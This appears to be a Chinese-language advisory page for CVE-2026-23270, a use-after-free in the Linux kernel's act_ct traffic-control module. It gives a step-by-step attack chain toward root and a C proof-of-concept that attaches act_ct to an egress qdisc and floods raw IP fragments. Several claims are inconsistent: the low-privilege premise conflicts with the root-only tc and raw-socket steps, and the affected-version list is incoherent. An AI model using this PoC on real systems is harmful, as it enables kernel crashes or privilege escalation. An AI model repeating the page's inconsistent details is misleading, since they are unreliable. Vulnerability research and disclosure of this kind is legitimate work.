IPBUF安全漏洞报告
English
CVE-2026-23270 CVSS 7.8 高危

CVE-2026-23270 Linux内核act_ct模块Use-after-Free高危漏洞

披露日期: 2026-03-18
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23270
漏洞类型
Use-after-Free (UaF)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Use-after-FreeLinux Kernelnet/schedact_ct本地权限提升拒绝服务CVE-2026-23270流量控制内核漏洞TC_ACT_CONSUMED

漏洞概述

CVE-2026-23270是Linux内核中的一个高危安全漏洞,位于net/sched模块的act_ct功能中。该漏洞源于act_ct(动作控制表)模块在处理网络数据包时可以返回TC_ACT_CONSUMED状态,而此时数据包仍被分片重组(defragmentation)引擎持有。当分片重组引擎后续尝试访问该数据包时,会触发Use-after-Free(释放后重用)条件,可能导致系统崩溃或允许本地低权限攻击者执行任意代码。该漏洞影响Linux内核的流量控制(traffic control)子系统,攻击者可通过本地访问利用此漏洞提升权限或造成拒绝服务。

技术细节

在Linux内核的net/sched模块中,act_ct模块负责对网络数据包进行连接跟踪和分类操作。自某个引入性提交以来,分类器可以返回TC_ACT_CONSUMED状态,表示数据包已被消费。然而,此时该skb(socket buffer)仍被分片重组引擎持有。当数据包被分片重组引擎处理时,如果该数据包触发了TC_ACT_CONSUMED返回,分片重组引擎在后续尝试访问已释放的skb时就会发生Use-after-Free漏洞。act_ct模块本应仅用于clsact/ingress qdiscs(队列规则),但部分用户错误地将其附加到egress路径上使用,而大多数qdiscs并不处理TC_ACT_CONSUMED返回值。修复方案限制act_ct只能绑定到clsact/ingress qdiscs和shared blocks,从而避免在egress路径上触发该漏洞。

攻击链分析

STEP 1
步骤1:权限获取
攻击者以本地低权限用户身份登录系统,无需特殊权限即可开始利用
STEP 2
步骤2:配置网络环境
攻击者通过tc命令将act_ct模块错误地附加到egress qdisc,创建漏洞触发条件
STEP 3
步骤3:发送分片数据包
攻击者构造并发送IP分片数据包,触发内核分片重组引擎处理
STEP 4
步骤4:触发UAF条件
当act_ct返回TC_ACT_CONSUMED时,skb被释放但分片重组引擎仍持有引用,导致Use-after-Free
STEP 5
步骤5:权限提升/代码执行
利用UAF条件覆盖释放的内存,劫持控制流或提升至root权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-23270: act_ct UaF via egress path attachment // This PoC demonstrates the vulnerability where act_ct attached to egress // can cause UaF when TC_ACT_CONSUMED is returned while skb is held by defrag engine #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <net/if.h> #include <linux/if_ether.h> #include <linux/ip.h> #include <linux/tc_act/tc_ct.h> // Attach act_ct to egress qdisc (VULNERABLE CONFIGURATION) void setup_vulnerable_config(char *ifname) { char cmd[512]; // Step 1: Add clsact qdisc to interface snprintf(cmd, sizeof(cmd), "tc qdisc add dev %s clsact", ifname); system(cmd); // Step 2: Attach act_ct to egress (VULNERABLE - should only be ingress) snprintf(cmd, sizeof(cmd), "tc filter add dev %s egress protocol ip prio 1 \ flower ip_proto 6 ct_state +trk \ action ct zone 1 pipe \ action gact drop", ifname); system(cmd); printf("[+] Vulnerable configuration applied: act_ct on egress\n"); } // Step 3: Send fragmented packets to trigger defrag + TC_ACT_CONSUMED void trigger_uaf(char *ifname) { int sock; struct sockaddr_in dest; char *packet; struct iphdr *ip; sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("socket"); return; } // Craft fragmented IP packets packet = malloc(1024); memset(packet, 0, 1024); ip = (struct iphdr *)packet; // Set IP header for fragmented packet ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->id = htons(0x1234); ip->frag_off = htons(IP_MF); // More fragments flag ip->ttl = 64; ip->protocol = IPPROTO_TCP; ip->saddr = inet_addr("192.168.1.100"); ip->daddr = inet_addr("192.168.1.1"); dest.sin_family = AF_INET; dest.sin_addr.s_addr = ip->daddr; // Send fragmented packets in loop to trigger race condition for (int i = 0; i < 1000; i++) { sendto(sock, packet, 64, 0, (struct sockaddr *)&dest, sizeof(dest)); usleep(100); } printf("[+] Sent fragmented packets to trigger UaF condition\n"); close(sock); free(packet); } int main(int argc, char **argv) { char ifname[32] = "eth0"; if (argc > 1) { strncpy(ifname, argv[1], sizeof(ifname) - 1); } printf("[*] CVE-2026-23270 PoC - act_ct UaF via egress\n"); printf("[*] Target interface: %s\n", ifname); setup_vulnerable_config(ifname); trigger_uaf(ifname); printf("[*] Check dmesg for UaF or kernel panic\n"); return 0; }

影响范围

Linux Kernel < 5.15.x (specific commits: 11cb63b0d1a0, 380ad8b7c65e, 524ce8b4ea8f, 5a110ddcc99b)
Linux Kernel < 6.1.x
Linux Kernel < 6.2.x
Linux Kernel < 6.3.x
Linux Kernel < 6.4.x

防御指南

临时缓解措施
立即停止在egress路径上使用act_ct模块,将现有配置迁移到ingress路径或clsact qdisc。执行'tc qdisc show'检查是否存在egress上的act_ct配置,并使用'tc filter del dev <interface> egress'删除相关规则。在无法立即升级内核的情况下,可通过iptables规则限制分片数据包的连接跟踪,或使用nftables配置替代方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表